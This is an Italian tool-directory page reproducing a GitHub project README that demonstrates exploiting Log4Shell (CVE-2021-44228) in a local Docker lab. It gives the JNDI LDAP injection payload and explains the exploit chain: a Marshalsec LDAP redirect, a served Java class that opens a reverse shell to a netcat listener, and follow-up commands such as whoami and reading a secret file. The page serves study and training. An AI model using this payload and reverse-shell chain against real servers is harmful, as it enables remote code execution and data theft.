Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
log4j-vulnerability — Presenta come sfruttare la vulnerabilità CVE-2021-44228. | Kitploit
Strumenti/GitHubGitHub/marceloleite2604/log4j-vulnerability
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebCommand and ControlApprendimento e FormazioneStrumento di Accesso RemotoSviluppo PayloadLab e Pratica
GitHubmarceloleite2604/log4j-vulnerability

log4j-vulnerability

Presenta come sfruttare la vulnerabilità CVE-2021-44228.

Vedi Repository
14 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Vulnerabilità LOG4J

Un progetto basato su Java che mostra come sfruttare la vulnerabilità CVE-2021-44228.

https://user-images.githubusercontent.com/13152452/147803050-458593e9-4b54-4e1f-ba07-802866b9b43e.mp4

Requisiti

  • Un sistema operativo basato su Linux: io ho usato Ubuntu Desktop 20.10 64 bit
  • OpenJDK 17.0.1: per compilare il programma di sfruttamento. Anche versioni più recenti potrebbero funzionare.
  • Oracle Java Development Kit (JDK) 1.8.0_181: è essenziale per far funzionare lo sfruttamento. Non è necessario installarlo, ma il progetto lo richiede estratto nella directory principale. Il JDK si può trovare nella pagina Oracle Java SE 8 Archive Downloads (JDK 8u202 e versioni precedenti).
  • Apache Maven 3.6.3: per gestire le dipendenze e generare i file jar. Anche versioni successive potrebbero funzionare.
  • Docker 20.10.12: per gestire il container che contiene il servizio da sfruttare. Anche versioni successive potrebbero funzionare.
  • Docker-compose 1.29.2: per aiutare a orchestrare la generazione dell'immagine e la creazione, l'esecuzione e la rimozione del container. Anche versioni successive potrebbero funzionare.
  • GNU Make 4.3: questo progetto usa un Makefile per aiutare a verificare e generare i file obbligatori. Anche versioni successive potrebbero funzionare.
  • OpenBSD Netcat (noto anche come nc): per creare la comunicazione con il server invaso. Questo pacchetto può essere installato tramite il gestore di pacchetti della tua distribuzione Linux (come apt).
  • (Consigliato) IntelliJ IDEA Community Edition 2021.3.1: se vuoi controllare cosa c'è sotto il cofano di questi progetti, ti consiglio di installare questo IDE. Anche in questo caso, versioni successive potrebbero funzionare.

Esecuzione

  1. Clona questo repository sulla tua macchina locale.
  2. Scarica la pagina Oracle Java SE 8 Archive Downloads (JDK 8u202 e versioni precedenti) ed estraila nella directory principale del progetto. Tienila nella directory jdk1.8.0_181 creata durante l'estrazione.
  3. Esegui make all per compilare tutti i progetti e creare un'immagine Docker con il servizio vulnerabile.
  4. Apri tre terminali ed esegui i seguenti comandi:
    1. Primo terminale: make start-vulnerable-service per avviare un container Docker che esegue il servizio da sfruttare. Il servizio sarà accessibile attraverso la porta 8080 della macchina locale
    2. Secondo terminale: make start-nc per avviare un listener TCP che attenderà che venga stabilita la connessione con il server invaso.
    3. Terzo terminale: make start-exploiter per avviare il programma che ci aiuterà a sfruttare la vulnerabilità.
  5. Dopo aver avviato il terzo terminale, il programma exploiter mostrerà un URL a cui accedere. Incollalo nel tuo browser per iniziare lo sfruttamento.
  6. Se tutto è andato come previsto, il browser non riceverà una risposta e rimarrà bloccato in uno stato di caricamento.
  7. Ora controlla il secondo terminale (quello in cui è stato eseguito make start-nc). Potresti aver ricevuto un messaggio come Connection received on 172.24.0.2 46638 (l'indirizzo IP e la porta TCP potrebbero non essere gli stessi mostrati qui). Questo significa che lo sfruttamento ha funzionato e ora abbiamo una shell collegata al server/container Docker.

Come funziona?

Prima di rispondere, diamo un'occhiata ai processi creati durante il flusso.

log4-vulnerability processeses

Container Docker

Questo container Docker servirà un semplice servizio HTTP responsabile di ricevere richieste GET sul percorso /log con un parametro input. Una volta ricevuto, registra l'input sulla console.

https://user-images.githubusercontent.com/13152452/147826880-8ee10391-bcb7-46d3-8d69-2f7ddb4a7b37.mp4

Per sfruttare la vulnerabilità, sono necessarie alcune configurazioni specifiche:

  • La versione dell'ambiente di runtime Java (JRE) utilizzata per eseguire il servizio è 1.8.0_181. Ciò è necessario per consentire il caricamento di una classe Java da un servizio esterno.
  • Le dipendenze del progetto Java devono essere pesantemente modificate per sostituire il spring-boot-starter-logging:2.6.1 predefinito con spring-boot-starter-log4j2:2.6.1. Quest'ultimo porta log4j-core:2.14.1 nel progetto, che è una versione vulnerabile a CVE-2021-44228.

dependency-tree

  • Il file Jar del servizio è stato creato con il compilatore Java versione 1.8.0_181.

Programma Netcat (nc)

Non ci sono grandi spiegazioni o modifiche qui. È un semplice programma usato per leggere e scrivere dati attraverso i protocolli TCP e UDP. Lo useremo per rimanere in ascolto di connessioni TCP in arrivo sulla porta 9001 (qualcos'altro aprirà questa connessione per noi lato server. 😉).

Una volta stabilita la connessione, tutti i dati in arrivo verranno mostrati sulla console. Inoltre, tutto l'input scritto verrà inviato attraverso questa connessione.

Exploiter

Ed è qui che il divertimento ha inizio!

Questo programma racchiude diversi passaggi necessari per sfruttare la vulnerabilità. Analizziamolo:

Argomenti di esecuzione

Per eseguire questo programma, dobbiamo fornire tre parametri:

  1. Indirizzo IP/host del server HTTP e di Netcat: per sfruttare la vulnerabilità, avremo bisogno dell'indirizzo IP del server HTTP relativo al servizio vulnerabile, così la nostra risposta LDAP potrà reindirizzarlo a scaricare la classe Java compilata attraverso di esso. Sarà usato anche dalla classe Java stessa per aprire una connessione TCP con Netcat (spiegato sopra).
  2. Porta del server HTTP: la porta su cui il server HTTP responsabile dell'invio della classe Java compilata accetterà le connessioni. Verrà anche inviata con la risposta LDAP per comunicare la porta da cui verrà scaricata la classe Java compilata.
  3. Porta di Netcat: la porta su cui Netcat è in ascolto per le connessioni. Sarà usata dalla classe Java compilata per aprire una connessione TCP con Netcat.

Classe Java Exploit

Una volta avviato il programma, scriverà un codice Java basato su un template. Questo template richiede due argomenti: l'indirizzo IP e la porta di Netcat.

Una volta scritto il codice, il programma lo compilerà in un file di classe binario usando il compilatore Java (javac) versione 1.8.0_181. Questo è importante per mantenere la stessa versione del codice del servizio sfruttato.

La classe Java Exploit ha una struttura piuttosto semplice. Nel suo costruttore c'è un'istruzione che chiede al sistema operativo di creare un programma shell. Una volta creata, la classe apre una connessione TCP con Netcat, collega gli input e output della shell e della connessione TCP e intrappola l'esecuzione della Java Virtual Machine in un ciclo finché la connessione non viene chiusa da Netcat. Una volta uscita dal ciclo, il costruttore continua come se nulla fosse successo.

Programma Marshalsec

Exploiter apre un sottoprocesso che richiede l'esecuzione del programma Java Marshalsec. Il programma Marshalsec è disponibile nel progetto Github mbechler/marshalsec.

Insieme ad altre funzionalità, gestisce le richieste LDAP e può essere usato per chiedere alle connessioni in arrivo di risolvere le richieste scaricando classi Java da una fonte esterna. Nel nostro caso, lo useremo per chiedere alle connessioni in arrivo di scaricare la nostra classe Java Exploit dal servizio HTTP.

Servizio HTTP

Una volta che il programma Exploiter ha creato la classe Java truccata, avvierà un servizio HTTP con una singola risposta: la classe Java binaria Exploit.

In breve, quando il servizio vulnerabile richiede il caricamento della classe esterna, questo servizio leggerà il file binario della classe Java e lo rimanderà al servizio vulnerabile. Semplice, no?

Una richiesta HTTP per domarli tutti

Una volta che tutto è attivo e funzionante, il programma mostrerà la richiesta HTTP necessaria per innescare lo sfruttamento. Basta copiarla e incollarla nel tuo browser preferito o farla con curl tramite un terminale, quello che preferisci!

La richiesta sarà simile a questa:

root@kitploit:~
http://localhost:8080/log?input=%24%7Bjndi%3Aldap%3A%2F%2Fhost.docker.internal%3A1389%2Fa%7D

Poiché i parametri della query contengono caratteri speciali, devono essere codificati affinché il browser possa accettarli. Se la decodifichiamo, il messaggio sarà:

root@kitploit:~
http://localhost:8080/log?input=${jndi:ldap://host.docker.internal:1389/a}

Il flusso di comunicazione

Ecco un diagramma semplificato di cosa succede una volta inviata la richiesta:

log4j-vulnerability communication flow

Proverò a usarlo per spiegare cosa succede dopo:

  • Il browser invierà la richiesta HTTP al nostro servizio vulnerabile.
  • Il servizio vulnerabile accetterà la richiesta e registrerà l'input dell'utente.
  • Quando log4j riceve il messaggio, nota che c'è un contenuto da risolvere: ${jndi:ldap://host.docker.internal:1389/a}.
  • Secondo il valore, il contenuto da presentare deve essere recuperato tramite il protocollo LDAP da host.docker.internal:1389 usando la chiave a (un nome distinto LDAP piuttosto banale e invalido ma, ehi, finché funziona...). Log4j invia quindi una richiesta a questo indirizzo con l'intento di recuperare il valore.

Osservazione: host.docker.internal è un indirizzo valido dal servizio Docker per raggiungere la macchina fisica su cui è in esecuzione.

  • Il programma Marshalsec (in esecuzione localmente sulla porta 1389) accetterà quindi la richiesta in arrivo e chiederà al servizio vulnerabile di scaricare un file di classe Java disponibile su host.docker.internal:8000 con il nome Exploit per risolvere la richiesta.
  • Log4j invia quindi una richiesta a host.docker.internal:8000 chiedendo di ottenere una risorsa disponibile sul percorso /Exploit.
  • Il servizio HTTP (in esecuzione localmente sulla porta 8000) risponderà quindi alla richiesta inviando la classe Java binaria Exploit.
  • Log4j tenta quindi di istanziare la classe per risolvere la variabile eseguendo il suo metodo costruttore Exploit().
  • Il metodo costruttore Exploit() avvia un programma shell sul server e richiede l'apertura di un canale TCP con host.docker.internal:9001.
  • Netcat (in esecuzione localmente sulla porta 9001) accetta quindi la connessione TCP in arrivo.
  • Il metodo costruttore Exploit() collega quindi gli input e output della shell con la connessione TCP e intrappola il thread della Java Virtual Machine in un ciclo finché la connessione TCP non viene chiusa dall'altra parte.
  • Netcat può ora essere usato per inviare comandi shell e ricevere output dal server.

Considerazioni

TBD

Riferimenti

Progetto Github kozmer/log4j-shell-poc - Mi ha aiutato a capire come funziona lo sfruttamento. Grazie a tutti coloro che hanno contribuito a questo progetto!

Progetto Github mbechler/marshalsec - Non sarei stato in grado di lavorare con la comunicazione LDAP e il reindirizzamento così rapidamente come ho fatto senza questo progetto. Grazie ragazzi!

Video sulla vulnerabilità Log4j di SrcCodes - Un video ben spiegato che mostra come avviare lo sfruttamento su un programma basato su Spring.

Video demo dello sfruttamento di CVE-2021-44228 di Nowcomm - Un bel video che spiega come sfruttare CVE-2021-44228 su Apache Solr. Ho dovuto guardare la seconda metà circa una dozzina di volte per capire cosa stesse realmente succedendo! 😛

Scarica lo strumento
  • Per essere sicuro che tutto sia avvenuto come previsto, prova a eseguire un comando whoami. Potresti ricevere root come output.
  • Ora prova a eseguire cat ../private-directory/my-secret-file.txt per vedere cosa succede. 🙂
  • Quando hai finito di fare danni sul server, premi CTRL+C per chiudere la connessione.
  • Puoi anche premere CTRL+C negli altri terminali per interrompere i processi.